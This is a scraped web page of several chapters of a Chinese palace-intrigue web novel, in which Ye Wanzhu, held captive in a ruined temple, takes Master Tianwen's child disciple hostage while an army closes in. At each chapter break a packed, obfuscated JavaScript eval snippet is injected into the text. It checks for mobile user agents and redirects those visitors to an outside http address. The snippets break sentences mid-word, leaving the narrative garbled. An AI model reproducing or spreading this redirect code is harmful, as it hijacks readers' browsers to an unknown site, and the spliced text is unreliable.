35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868920|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧子景**,阮莹莹被她丢进了王府的火海之中,想来应该是活不成,叶晚竹虽然不知道萧延是**的,但死都**,她也懒得过问。 不甘这种情绪出现在叶晚竹的身上,似乎已经是很久之前才发生的事情了。 天问大师这时候又倾身向前,朝着叶晚竹眨了眨眼,模样显得有些神神秘秘的。 “若是贫僧告诉殿下,他们,都没死呢?” 他们都没死? 叶晚竹终于控制不住眼底的惊愕,不仅下意识地皱起了眉头,看着天问大师这神神秘秘的模样,甚至感到背上猛地窜起了一阵凉意。 旁的不说,萧子景可是死在东厂,谢无咎的眼皮子下面。 这还能有假不成? “不可能。” 心思急转,叶晚竹抬起下巴,定定地朝着天问大师回望过去。 天问大师的笑容又显得神秘了几分。 “殿下,”他缓缓启唇,“您可知道,为什么昭德帝如此信任九千岁谢无咎,哪怕他权倾朝野,为所欲为,也置之不理?” 这话题是怎么忽然又转到谢无咎的身上去了? 饶是叶晚竹始终全神贯注着,这会儿也不由得有些摸不着头脑。 这样东一榔头,西一棒子的问法,是想打她个措手不及不成? 叶晚竹越发警惕起来。 天问大师的表情这会儿也变了变,眉毛微微抬起,眼神也变得冰冷。 “因为,龙椅上的那个圣上,所谓的‘昭德帝’,早就已经被谢无咎暗中派人取代,如今已经是一具行尸走肉,只会听从谢无咎的指令行事了。” “谢无咎丧心病狂,倒行逆施,用这样邪恶的手段操控了多少人,连数都数不过来。” “威远王殿下,您可也在他的谋害名单之上,您不会真的以为,谢无咎的示好,退让,还有纵容,都是他发自内心的想法吧?” 叶晚竹挑着眉毛,“那,依着大师的意思,谢都督这是在图什么呢?” “当然是天下!” 第二百三十七章 我是不是见过你? 听着天问大师这言辞凿凿的话,叶晚竹忍了又忍,好险才没有变了脸色。 和谢无咎相比,天问大师的这番话,无疑还是放在他自己身上更为合适。 只是……他是怎么知道这么多内幕消息的? 仅凭他的夜观天象? 叶晚竹觉得不太可能。 这个忽然出现的天问大师身上的秘密实在是太多了,叶晚竹抬眸静静地打量着他,心道看来自己得想个办法,把这白云观里的情况打探清楚才行。 “殿下还是不相信贫僧?” 见着叶晚竹似笑非笑的表情,天问大师又问道。 “大师一张口就送了我这样大的一个消息,本王实在是不能立刻尽信。” 思忖片刻,叶晚竹抬起头,眼神分外真诚。 “还请大师再多给本王一些时间,让我好好想想,当然,如果是有什么其他的证据,那就更好不过了。” 天问大师放在腿上的那只手不由得攥紧了几分。 “这是自然,”他露出一个体贴的表情,“只要殿下想通,贫僧随时恭候。” 这就是不想通根本不行的意思了。 叶晚竹的笑容有些发冷,目送着天问大师离开屋子,房门关上,又传来上锁的声音,她面上的表情才一点点地消失下去。 看样子,在自己答应之前,她是没有再离开这间屋子的权利了。 该怎么办? —— 另一边,天问大师信步离开叶晚竹所在的厢房院落,沿着空荡荡的小路走了许久,才又绕回前院的大殿之中。 殿内供奉着的神像等物早已经被搬走,眼下整间大殿里空荡荡的,只摆了张桌子,看上去颇为凄凉。 天问大师抬脚便朝着自己的副手走去。 “主子回来了?怎么样?” 和天问大师不同,无尘大师生得一副笑眯眯的模样,一眼看去便能让人心生好感。 不过此时他的笑脸却也显得没那么喜庆,眉头微微蹙起,透着说不出的严肃。 天问大师叹了口气。 “不好说。” 不好说? 无尘大师闻言,眉头皱得更紧了。 天问大师有占星卜卦的本事,向来是无所不知的,这还是他第一次从这位口中听到这么不确定的话语。 “可是叶晚竹不相信咱们?”他试探着问道。 天问大师回忆着方才两人的对话,半晌过去才慢慢地摇了摇头。 “她不止是不相信。” 是根本没打算听信他说的任何一句话。 “那,那这该如何是好?” 无尘大师闻言也越发苦了脸。 “这些大梁人,怎么一个比一个不好对付!” 听着无尘大师的唉声叹气,天问大师倒是收敛起忧愁的目光,淡淡地笑了一声。 “若非如此,他们也不能将我的计划一挫再挫。” 挫到他不得不亲自带人前来的地步。 又叹息了一声,天问大师抬头看看外面明亮的天色,不知想到了什么,面上的笑容重新变得释然。 “幸好,还来得及,就算她不相信,也不过是多费些力气罢了。” 无尘大师张了张口,想说什么,这时候却有一个小和尚从外面一路小跑着进来了。 “大师!”他气喘吁吁地在天问大师面前站定,“山下,山下好像有京城的兵力来了!” “什么?” 天问大师眉头一皱,人也跟着站了起来,“在什么地方?” “山脚下,正在四处打转呢!”小和尚哆哆嗦嗦的。 “莫慌,走,带我先去看看。” —— 天问大师离开之后,叶晚竹便一直躺在床上闭目思索着,这个时候却缓缓地睁开了双眼。 门外有动静,听上去,还不是正经的那种。 她抬眼看向几扇窗棂,天色依旧明亮,距离天问大师离开并没有过去多久,可那两个站在门外的武僧却不知道什么时候也一并失去了踪迹。 叶晚竹确定自己并没有睡着,却也没有听见那两人离开的脚步声。 没想到,那二人竟然是这样的高手。 门外窸窸窣窣的声音还在继续,片刻后,伴随着房门打开的吱呀一声,叶晚竹从容不迫地坐起身来。 “!” 伴随着一声倒抽冷气的动静,她和站在门前的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868921|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个半大少年对上了视线。 对方显然没想到叶晚竹醒着,瞪大双眼,瞬间有些束手无策的样子。 叶晚竹并未作声,静静地打量着眼前的人。 说他是半大少年,其实还是有些过分了,门前人只是身量高,叶晚竹这会儿看着他的脸,这个男孩的岁数应该不会超过十岁,稚嫩得很。 等打量完他的脸,叶晚竹的目光落到此人的眼睛上时,顿时又感到了一阵熟悉的,被窥探的滋味。 “就是你一直在外面偷看我?” 挑了挑眉,叶晚竹轻笑了一声。 “你是什么人?” 这男孩穿着精致,全身都透露着一股贵气,和这个破败的地方格格不入。 “你又是什么人?” 似乎是被叶晚竹的问话冒犯到,男孩皱了皱鼻子,用审视的目光在叶晚竹身上来回扫视着。 片刻后,他收回目光,满眼都是失望。 “师父怎么没打你?” 原来是天问大师的徒弟? 听着他这骄纵的口吻,再看看这孩子一身的行头,叶晚竹忍不住又扬了扬眉。 没看出来,天问大师那样说话弯弯绕绕,恨不得滴水不漏的一个人,手下竟然会带出这样毫不掩饰的徒弟? “你师父为什么要打我?” 敛下心神,叶晚竹笑了笑,“他打过很多人?” “那当然!” 德慧小和尚双手叉腰,把脑袋一扬,露出一个十分洋洋得意的表情。 “师父最厉害了,无所不能!你最好小心点,别惹怒了他,否则,没你好果子吃!” 看着他这副模样,叶晚竹的眉头又不着痕迹地拧了拧。 这到底是小和尚,还是小流氓? 怎么满口不逊之词? 从天问大师,到这个德慧小和尚,再到外面那些武僧,这个组织里的一切似乎都显得格外不正常。 叶晚竹现在已经不觉得这些是真正的僧人了,挂羊头卖狗肉,这些人的意图会是什么? 想篡权夺位,执掌天下? 那又为什么要披上一层和尚的皮? “喂!你叫什么,我是不是见过你?” 第二百三十九章 让你给我垫背怎么样 叶晚竹思索的空当,德慧小和尚三步并作两步冲了过来,仰着脑袋便往叶晚竹面前伸。 他这个动作没有半点教养,充满了理直气壮,再配上更是毫无礼貌可言的问话声,顿时让叶晚竹皱起了眉头。 不知为何,她忽然想起了萧延。 同样的颐指气使,同样的没大没小。 “我们应该没见过。” 静了静,叶晚竹说话时的语气便显得更加冷淡了下去。 德慧小和尚却显然没有半分遭到嫌弃的自觉,又蹬蹬地朝着叶晚竹身前挤了挤,越发地伸长了脖子,不加半分遮掩的目光在她脸上转来转去。 “可是我觉得好像在什么地方见过你,我们应该是见过的!” 瞪大了一双眼睛,德慧小和尚仿佛压根就没有听见叶晚竹的话一般,“你说实话,不准骗我!” 叶晚竹垂着目光看着依旧在自己面前探头探脑的小男孩。 这孩子十有**是被一力宠惯着到现在的,生出了一副如此不招人待见的态度! “我没见过你,至于你见没见过我,我也不知道。” 忍了又忍,叶晚竹才压下心头的火气,语气已经开始变得不善。 她这个时候的态度倒是被德慧小和尚发现了。 “你什么意思?敢对我大呼小叫?” 双手把腰一叉,德慧小和尚后退半步,盯着叶晚竹的眼神瞬间变得凶狠起来。 “**,你算什么东西!” 叶晚竹漠然地看着他。 更像了。 “出家人不打诳语,你这么说话,可是大不敬。”她冷冷地道。 “你有什么资格教训我?” 不知道是被那句话刺激着了,德慧小和尚的表情也变得更加难看,跳起来大声质问着叶晚竹,抬手恶狠狠地指着她的鼻子,“给我道歉!” “我又没随便口吐恶言,”叶晚竹面上挂起了讥嘲万分的神情,“我这可是在教育你啊,小和尚,再这么说话,小心被逐出佛门,以你这张讨嫌的小嘴,只怕去当叫花子,都没人稀罕。” “你,你——!” 德慧小和尚浑身哆嗦着,他向来是颐指气使的,除了天问大师,还没人敢压着他说话! 可如今,这个该死的女人,竟然敢这么讥讽他! 气得尖叫了一声,德慧小和尚挥手就朝着叶晚竹的脸抓了上来! “看我挠花你这张猪脸!” “这猪叫倒是挺响亮的。” 冷笑一声,叶晚竹抓起绑缚在自己手上的铁链,看准了德慧的嘴,狠狠一下便抽了上去! 她手脚都被铁链绑着,这下倒是正给了她几件趁手的武器! “嗷!” 德慧小和尚毫不意外地发出了一声惨叫! 他跌坐在地,捂着自己流血不止的嘴巴,连哭喊都忘记了,只难以置信地看着叶晚竹。 “你,你敢打我?”他大大地瞪着眼睛,“你敢打我的嘴?” “嗯哼。” 晃动锁链发出哗哗的声音,叶晚竹看着这位,不紧不慢地挑了挑眉。 “你要是再敢上来,我就让你知道,我还敢打你的脸。” 亲生的萧延她都揍得像孙子一样,更别提这个更加讨人嫌的小和尚了。 说来也奇怪,叶晚竹虽然不知道萧延到底是**的,但那天在乾清宫中,她也是亲眼看着萧子景怀抱着萧延的尸体,也曾目睹他青紫变形的模样。 在叶晚竹心里,她和萧延的母子情分早就已经断得一干二净,便是看见了这些,也并未在她心里留下多少痕迹。 她对萧延最大的仁慈,就是没有亲自动手了。 叶晚竹从来没有想起过萧延,却在今天总是下意识地拿他和眼前的德慧小和尚做起了比较。 这是为什么? 捋着自己的思绪,叶晚竹看向德慧的时候便不免有些失神,表情也带上了探究。 德慧小和尚方才还有些害怕,毕竟叶晚竹连一声招呼都不打,就冷着脸骤然出手的模样确实有些吓人。 可这会儿,看着叶晚竹眉头微皱,若有所思的模样,他顿时又抖擞起了一身的精神! 他就知道,这个**肯定是虚张声势,不敢再动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868922|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手的! 不过是个阶下囚罢了,竟然敢这么打他! 一会儿等师父回来,他要让师父好好地惩罚她! “**,看招!” 猛地从地上爬起来,德慧一头便朝着叶晚竹的腹部撞了过去! “我打死你!” 德慧小和尚毕竟只是个孩子,刚一动作便被叶晚竹发现,她从思绪中抽身出来,看着炮仗一样的德慧,抬手一掀铁链,再次狠狠抽下! “啊!啊!啊!” 德慧小和尚没撞到叶晚竹柔软的腹部,只撞到了无比坚硬的铁链,脑袋嗡地一声,连自己是怎么尖叫的都没听见。 叶晚竹倒是听见了,尖利刺耳,让人更加心烦。 于是她下手更狠,其中一下抽在德慧的脸颊上,顿时让他的一颗牙从嘴里飞了出去。 “呜呜呜……我要杀了你,杀了你!” 德慧小和尚晕头转向地挣扎着,依旧没发现自己又少了一颗牙,满脑子里只有这一个念头。 “来人啊,快来人!”被叶晚竹一把勒住脖子,他又大声嚎哭起来。 制住德慧,叶晚竹这才抬头看向堵在门前的那两个武僧。 早在德慧小和尚刚刚开始哭嚎的时候,叶晚竹就听见了来自屋外的脚步声,她这会儿手上一个用力,绕着德慧的脖子转了一圈的铁链就让这小和尚哭得更加凄厉了些。 “你要干什么?快放手!” 两个武僧似乎是从很远的地方刚刚跑过来的,累得气喘吁吁,看着屋中一片混乱的模样,顿时双双目眦欲裂! “都别动,否则,我现在就要了你们小主子的命!” 眼见这两个武僧要冲进屋中,叶晚竹又用了几分力气,勒得德慧双眼突出,绝望而无措地张大了嘴巴。 他嗬嗬吐气,顿时哭不出声,见状,两个武僧互相看了一眼,皱着眉头停了下来。 “你这么做,天问大师是不会让你好过的。”其中一人沉声道,“现在松手还来得及!” 叶晚竹莞尔一笑。 “反正都好过不了,不如,让他给我垫背吧?” 第二百三十九章 你,跟我走! 一边说着话,叶晚竹手上又多用了一分力气。 “咯……!”德慧小和尚顿时像是被掐住了脖子的鸡一般,瞪大双眼,艰难地发出一声痛呼。 “不要!”两个武僧也在同时张口大喊。 叶晚竹一收即放,新鲜的空气重新涌入德慧胸中,却让他咳嗽得更加厉害了。 “咳咳咳……我要杀了你,杀了你!” 丝毫没有身为人质的自觉,德慧小和尚不断踢蹬着双腿,还试图扭过头来攻击叶晚竹。 轻笑一声,叶晚竹又一用力,德慧顿时又变成了那只鸡。 “小和尚,你师父既然无所不能,有没有教过你一个词,叫不自量力?”她又提着铁链晃了晃。 德慧小和尚伴随着她的动作左摇右摆,脸色渐渐要涨成紫色。 “你放开少主!” 两个武僧提心吊胆地看着叶晚竹的动作,终于忍不住了。 “你,你想怎么样?”其中一人朝着叶晚竹抬起手,做出一个安抚的动作,“只要你留下少主的性命,其他的,我们都可以谈。” 说话的时候,这位的眼睛紧紧地盯在叶晚竹的动作上。 “哦?现在你们这么好说话了?” 挑了挑眉,叶晚竹再次松开勒着德慧的铁链,不紧不慢地看着他的脸色先恢复正常,而后才抬起头来。 “我要下山,你们替我准备准备吧?” 她歪着脑袋,语气似乎是在打着商量,说出的话却让这两个武僧的表情又变得难看起来。 “你是故意的。”一直没说话的那个武僧终于开了口。 “不然呢?” 好笑地反问着,叶晚竹看着这个武僧。 “你们**我,把我关在这个地方,除了离开,难道我还会有别的打算?换做是你,你跑不跑?” 这武僧的表情忽然变了变,带着一股说不出的意味,让他的神情也跟着有些执拗。 叶晚竹一愣,不知道为什么,此人脸上的表情,现在让她很不舒服。 “天问大师给你提供了这么好的一条路,你却不走,你这是在自取灭亡!” 叶晚竹正要再仔细打量一番这个武僧的表情,后者却忽然开了口,语气中满满的全是控诉。 就连他看着叶晚竹的表情也不再平静,而是扭曲着,似乎五官都变得模糊不清。 “愚蠢!”他越发痛心疾首。 看着这武僧的模样,叶晚竹倒是越发感到好笑起来。 “那你是什么?愚不可及?” 口中调侃着,叶晚竹的眼神也变得锐利了几分。 “跟着一个会**别人,经常殴打折磨囚禁别人的主子,你得到了什么好处?” 从德慧小和尚的那几句话里,不难听出这位天问大师绝对不是什么好东西! “你,你!” 那武僧闻言又急又恼,咬牙切齿地瞪着叶晚竹,连下半张脸都跟着扭曲变形。 “你竟然敢这样诋毁大师!” “哪个字是诋毁?”叶晚竹晃了晃自己手腕上的铁链,“怎么,你看不见这个东西?” 于是武僧们的表情变得更加难看起来。 “行了,废话少说吧。” 看出这两个武僧对天问大师那盲目而狂热的推崇,叶晚竹没有再和他们掰扯的心思。 “解开铁链,再给我准备下山的东西,否则,我就先送你们的少主上路了。” 说着话,叶晚竹又狠狠地勒了一把德慧小和尚,再次听着他发出一声鸡鸣。 两个武僧对视一眼,都露出了犹豫的表情,其中一人的目光下意识地朝着身后飞快地扫了扫。 “这样,”他转过头来,“我们各退一步,你——诶!” 一句话还没说完,看着叶晚竹一把将德慧抬起的手指掰断,那武僧不能自控地惊呼出声! 怎么没有一点儿准备! “啊——!” 剧痛猛地袭上,一直在胡乱踢蹬着的德慧小和尚先是一噎,而后也大声尖叫起来! 叶晚竹无疑便成了屋里屋外最冷静的人,她淡淡地收回手,抬头朝着那说话的武僧笑了一下。 “我凭什么要退一步?” 天问大师无缘无故地把她抓到这个地方的时候,怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876368|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着要退一步? 不仅不退,叶晚竹还要得寸进尺! 她又扯紧了手上的铁链。 “我数三下,做不出决定,我就代劳了!” 两个武僧顿时目眦欲裂! “一!” 叶晚竹笑着开始宣布。 她和德慧小和尚已经闹了这么久,却始终没有听见天问大师要赶过来的动静。 不论是德慧自己,还是这些武僧的态度,都能证明天问大师对德慧这个徒弟应该是关爱有佳的。 现在爱徒出了事,他却迟迟不曾现身,似乎有些说不过去。 唯一的可能性,就是天问大师离开后又出了什么事,而他不幸被绊住了脚。 主子不在,这些手下自己敢做主吗? 万一真的害了他们的少主,这可怎么办? 叶晚竹面上的笑容变得更加灿烂起来。 “二!” “等等!别数了!” 无可奈何地对视一眼,两个武僧还是屈服了。 片刻后,重获自由的叶晚竹走出这间破败的院落,德慧小和尚依旧被她牢牢地钳制在臂弯之中。 围着叶晚竹的武僧这会儿变得更多了,全都警惕地盯着她,慢慢随着叶晚竹的动作移动着脚步。 叶晚竹也不着急,又将瑟瑟发抖到已经快晕过去的德慧小和尚往自己怀里拽了拽,左右扫视一圈,朝着看上去似乎有人居住的一间院落而去。 趁天问大师还没回来,这倒正好是个机会! 让她瞧瞧,这忽然出现的,奇形怪状的一群人,究竟是什么来路? 被叶晚竹惦记着的天问大师,此刻正站在禹山半山腰的一处角落,借着灌木藤条的遮掩,脸色难看地瞅着山脚下。 密密麻麻的黑色在各条山道上蔓延开来,似乎是要不留任何死角地将这座山团团包围! 细看去,这些黑色的队伍之中,全都是身穿盔甲,装备精良的骑兵! 这些都是什么人?是从什么地方冒出来的? 天问大师下意识地抬起头,却只看到一片阳光璀璨。 “将军!” 第二百四十章 你看,我就说有逆党吧 与此同时,上山的路上,徐将军听着副将的呼唤,一勒缰绳停了下来。 “怎么了?” 策马后退两步,和继续上山的骑兵错开身子,徐将军这才低声问道。 徐皓阳将军是西北总帅,自从几年前,昭德帝亲自率军击退了北部对大梁虎视眈眈的敌人,还把他们撵到了几十里外的地方,西北安静下来,他便一直执掌着兵权。 身为边关大将,无故不会回京,可就在两个多月之前,徐将军却收到了昭德帝派人传去的密旨,要他带领二十万大军回京。 昭德帝在密旨中语焉不详,只是十分急迫,徐将军不免也紧张起来,生怕京中出了什么状况,连忙整点了兵马,日夜兼程地往过赶。 三天前,大军进入了京畿,按照正常的流程,二十万大军要原地安营扎寨,由徐将军先进宫接受圣上的传召。 可谁承想,大军还没彻底站稳脚跟,便又是一道密旨飞到了徐将军的眼前。 圣上要他带兵包围禹山,在山中搜寻叛党的踪迹。 原来是有叛党作乱! 难怪圣上如此急召! 徐将军自是立刻应旨,简单修整了一番,便又带着队伍朝禹山奔赴而来。 密旨上还说了要小心行事,不能闹出太大的动静,眼下上山的队伍全都静默无声,连马蹄都包裹着一层棉布。 不知道这叛党究竟在什么地方,徐将军一路上山,警惕到了极点。 他又等了片刻,还没听见自己副将的下一句话,不由得转过头去,面有不耐。 “你到底要说什么?”他压低声音,“时间可不等人!” 这副将叫毕烽,跟着徐将军出生入死多年,打过大大小小的战役,两人的脾气秉性十分相投。 他还从来没有像今天这样吞吞吐吐过。 徐将军越发狐疑,“你到底是怎么了?” 叛党在前,怎么反倒磨蹭起来了? “将军……您不觉得有些不对劲吗?” 毕烽皱着眉头,一副心事重重的样子,显然这些话已经在他心里憋了有一段日子了。 “什么不对劲?” 徐将军一心想着叛党,没多看自己副将的表情,随口问着话,眼神还落在上山的队伍身上。 毕烽又压低了几分声音。 “圣上为什么要千里迢迢让将军带兵回来迎战叛党呢?京城四大营的兵马在什么地方?就算叛党谋反,不也应该直捣京城,为什么要在这禹山之上呢?” 他一句句低语着,徐将军听着听着,眼皮子控制不住地跳了起来。 “你这是什么意思?” 猛地回过头来,徐将军看着毕烽,眼神森冷。 毕烽副将又舔了舔嘴唇,再开口时声音更低了。 “将军,您觉得……叛党一事,真的是真的吗?” 这话乍一听似乎有些拗口,徐将军却愣了愣,表情变得更加难看。 “你疯了?” 又策马往后退了两步,徐将军的马屁股都要拱到林子里去,他眼带寒光,难以置信地看着毕烽。 “你知道你在怀疑什么吗?” 奇袭禹山是圣上下的命令,他的副将这是在怀疑昭德帝? 徐将军的眉头皱得更紧了,好像能夹死苍蝇。 话都已经说出了口,毕烽眼中也闪过一丝破釜沉舟的意味。 “将军,这一路走来,咱们何曾听到过,看到过半点和叛党有关的东西?”他也又压低了几分声音,“若叛党真是在禹山上,又为什么要咱们的队伍小声上山?弄得这样偷偷摸摸的,是要做什么?” 朝廷用兵剿灭叛党,什么时候需要这样偷偷摸摸的了? 徐将军闻言,神情有些变化不定。 毕烽说的这些,他不是没有想过,但…… “圣旨怎会有假?”徐将军面沉如水,“况且还是送到西北中军大帐的圣旨。” 从京城传往西北的旨意,走的是绝密通道,除了昭德帝,旁人怎么会知道? 毕烽的眼神闻言又暗下几分。 “若是宫中出了什么问题,那,恐怕就不好说了吧?” 徐将军这回两个眼皮子一起乱跳起来,错愕地看着毕烽,一时间不知道该用上什么表情才好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876369|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “将军,您孤身一人长居西北,或许不曾听到京中前些日子的流言。”毕烽的神情越发阴郁。 “什么流言?” 徐将军的语气也落了下去。 他一生戎马边关,不曾娶妻,徐家更是武将世家,满门忠烈,皆投身于西北战场,如今父兄都已过世,徐家在京城的确是没人了。 “内子前些时日写信给我,说圣上不知何故,几个月不曾上朝,不曾露面,一切事务皆交给九千岁负责。” “竟有此事?” 徐将军闻言一怔。 毕烽的话却还没有说完。 “不仅如此,威远将军孟希越,与朝中一干大臣在宫中遭到申斥,被罚禁足削官……京城不太平啊。” 徐将军面上的神情又变成了若有所思,拉着缰绳的手也举棋不定了起来。 “怎么会这样?”他喃喃自语。 “将军,”毕烽深吸了一口气,“无论是九千岁谢无咎,还是那安王世子孟希越,这两人的举动都十分异样,圣上究竟如何,我等现在是一无所知啊!倘若,倘若……” 一个是宫廷近侍,一个是狼子野心。 倘若让这两人其中之一得了手,那挟天子以令诸侯的算盘,他们也不是打不出来! “咱们现在真的是在按照圣上的旨意——”行事吗? 毕烽的最后一句话还没说完,前方,已经一马当先的西北军前锋方向,忽然传来了阵阵惊呼! “什么人?” “站住!” 徐将军立刻精神一振,抬头朝那边看了过去! “怎么回事!”他大吼一声。 “将军!有人闯卡逃跑——啊!” 前方小将话音未落,便忽然成了一声惨叫! “有人袭击!”更多的将士们接二连三地喊了起来! “**!果然是叛党!” 方才的狐疑顿时一扫而空,看着十几个身穿黑衣,动作矫健的身影和自己的部下打成一团,徐将军大骂一声,扬鞭便朝着战局扑了过去! “都给我上!擒拿逆党!” 第二百四十一章 天问大师不可告人的小秘密 密林深处,听着下方的吵嚷声,还有那越发响亮的,擒拿逆党的呼喊,天问大师面沉如水。 这是什么人? 怎么会知道他们的身份,还知道他们藏身在禹山之中? “主子,让他们撤回来吧?” 无尘大师跟在他身边,看着下面的局势,语气有些忧心忡忡的。 他们的手下再多,也没办法和这么多训练有素的兵士相抗衡啊! 再者说,对方光是凭借人数,也足够占据上风了。 方才还口口声声说着只是让手下下去试试深浅的天问大师这会儿却一动不动,不仅如此,还微微闭上了双眼,仿佛忽然就入定了一般。 无尘大师急得团团转,想张口,却到底没敢去打扰这位。 他还想活呢! “咱们得走。” 片刻后,天问大师忽然睁开双眼,语气中不带一丝情绪。 他说话的语气也和平时迥然不同,沙哑艰涩,似乎得用力才能从喉咙中挤出声音。 无尘大师又是微微一滞。 天问大师那百试不爽的本事,在白天也能奏效? “主子,您——” 他还想说什么,却被天问大师抬起的手打断了。 “此地不祥,收拾东西,走。” —— 与此同时。 “你,你到底要干什么?” 白云观中,德慧小和尚不知道第多少回声嘶力竭地质问着叶晚竹。 他依旧被叶晚竹牢牢地桎梏在胸前,脖子上也依旧缠绕着重重的铁链,德慧小和尚大声喊着话,随即便坚持不住,开始猛喘粗气。 和他相比,叶晚竹俨然是闲庭信步,不紧不慢地朝着最后一个院落走去。 “你管不着。”她轻笑着。 不知道天问大师究竟是去了什么地方,能任凭自己的地盘和手下被搅乱成这幅模样,也不曾出现,叶晚竹倒是抓住了这个机会,将白云观前前后后地都检查了一遍。 这道观已经破败了有一段日子,天问大师一行显然是刚抵达这里没多久,又或者也没打算长期停留,道观中大部分还保持着衰败的模样。 叶晚竹一路走来,将这些和尚们的房间挨个参观了一遍,这群人的生活都挺简朴,没让她发现什么特别的东西。 或者说,太不特别了。 没有通关文牒,没有文书家信,甚至连一本佛经都没有。 换句话说,这些人身上没有任何能证明自己身份的东西。 真是心思缜密。 被她按在胸前的德慧小和尚这会儿又开始拼命地挣扎,叶晚竹熟练地勒住他的脖子,空着的那只手推了一把最后那扇紧闭着的院门。 是锁上的。 动作一顿,叶晚竹看着手下的门板。 这扇门是从里面被反锁上的。 “你不能进去!” 德慧的尖叫声又响了起来,叶晚竹停顿片刻,好像找到了他为什么如此激动的原因。 “里面是什么宝贝?”她低下头,看着德慧的眼神里写满好奇,“你师父不可告人的小秘密?” “你给我闭嘴!贱女人!”德慧小和尚的脸不用勒也涨得通红,“不许你这么说我师父!” 叶晚竹又笑起来,“果然里面不是什么好东西,你自己心里也清楚吧?” “我,我没有!”依然在尖叫着,德慧的语气却带上了犹疑。 这时候,一直围在叶晚竹身边几步之外的武僧们也开了口。 “你最好不要进去。” 叶晚竹闻言转过头去,发现这位仍然是先前守在她门外的两人之一。 “这里面是什么东西?”挑了挑眉,叶晚竹依旧是这个问题。 “你不需要知道。” 那武僧面容冷肃,不同于先前提到天问大师时狂热的维护,此时的他沉默得好像是从脚下的禹山里长出来的一样。 “你想逃走,那就利索点,就算你现在离开,天问大师也还有别的办法找到你;可你要是闯了这里……”他顿了顿,“那你一定会死。” 威胁她? 叶晚竹挑了挑眉。 虽然这武僧的语气透着十二分的慎重,显然不是在危言耸听,但—— “巧了,我倒是想看看,你们大师到底有多大的本事。” 冷笑一声,叶晚竹按住德慧小和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876370|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚的脑袋,在他惊天动地的尖叫声中,猛地用他砸开了那两扇院门! 木头做的大门顷刻间四分五裂,一众武僧纷纷愣住,下一刻却齐齐朝后退了一步! 余光扫到这一幕,叶晚竹本要向前的脚步却也跟着一顿! 天问大师又不在,这屋里有什么,能让他们害怕成这幅模样? 心思犹疑又稍微耽搁了一霎功夫,可叶晚竹马上就庆幸起来。 一阵淡淡的白色粉尘从崩裂的门板后炸开,若是叶晚竹刚才上前,恐怕就要中招了。 而不论是这些武僧后退的脚步,还是德慧小和尚越发疯狂挣扎着想要逃离的举动,都能证明这绝对不是什么好东西—— “大师!” 就在这时,几声大喊传来,叶晚竹一扭头,便看到脸色青黑,眸光颤动的天问大师快步从道观外冲了进来! 一眼便看见了这边的混乱,天问大师向来慈悲为怀的脸上,这会儿也出现了道道裂痕! 